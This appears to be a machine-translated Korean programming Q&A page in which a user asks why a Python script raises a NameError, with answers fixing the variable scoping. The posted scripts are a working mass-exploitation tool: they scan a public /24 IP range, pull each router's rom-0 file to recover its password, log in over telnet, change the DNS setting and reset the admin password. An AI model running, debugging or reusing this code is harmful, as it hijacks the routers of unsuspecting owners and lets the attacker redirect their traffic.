2014-01-25 4 views
-5

저는 파이썬 프로그래밍에 익숙합니다. 간단한 코드를 시도하지만 코드를 실행하면 다음과 같은 오류가 표시됩니다.Python 오류 NameError :

[email protected]:~# python code.py 
Traceback (most recent call last): 
    File "code.py", line 42, in <module> 
    print host+" -> Offline!" 
NameError: name 'host' is not defined 

이 문제를 해결하는 방법을 모르겠습니다. 변수 host가 선언되기 전에 마지막 except 블록에 똑바로가는 것 같습니다

attack.py

from netaddr import IPNetwork 
import os 
for ip in IPNetwork ('41.108.48.1/24'): 
    os.system("python code.py "+str(ip)) 

code.py

from poster.encode import multipart_encode 
from poster.streaminghttp import register_openers 
from netaddr import IPNetwork 
import urllib2 
import urllib 
import re 
import getpass 
import sys 
import telnetlib 
import time 
import os 
import socket 
import sys 
socket.setdefaulttimeout(4) 

register_openers() 

try: 
    os.remove("rom-0") 
except: 
    pass 
try: 
    host=str(sys.argv[1]) 
    urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0") 

    datagen, headers = multipart_encode({"uploadedfile": open("rom-0")}) 

    request = urllib2.Request("http://localhost/decoded.php", datagen, headers) 

    str1 = urllib2.urlopen(request).read() 
    m = re.search('rows=10>(.*)', str1) 
    if m: 
     found = m.group(1) 
    tn = telnetlib.Telnet(host, 23, 3)   
    tn.read_until("Password: ") 
    tn.write(found + "\n") 
    tn.write("set lan dhcpdns 8.8.8.8\n") 
    tn.write("sys password admin\n") 
    print host+" -> Success" 
    tn.write("exit\n") 
except: 
    print host+" -> Offline!" 
+3

python code.py some_argument 당신은 한 시간 전에이 기록했다. 거기에 큰 해답이 있습니다. 읽어보십시오! – mhlester

+0

[내 질문] (http://stackoverflow.com/q/21330438/3001761)에 대한 나의 대답은 귀하의 상황과 관련이 있습니다. – jonrsharpe

답변

0

: 이것은 내 코드입니다. try/except 앞에 host을 선언하고 실제 오류의 원인을 찾아야합니다. 나는 당신이 당신의 스크립트에 인수를 전달하지 않기 때문에 오류가 같은데요 :

host="Error!" # declare host here 
try: 
    host=str(sys.argv[1]) 
    urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0") 
관련 문제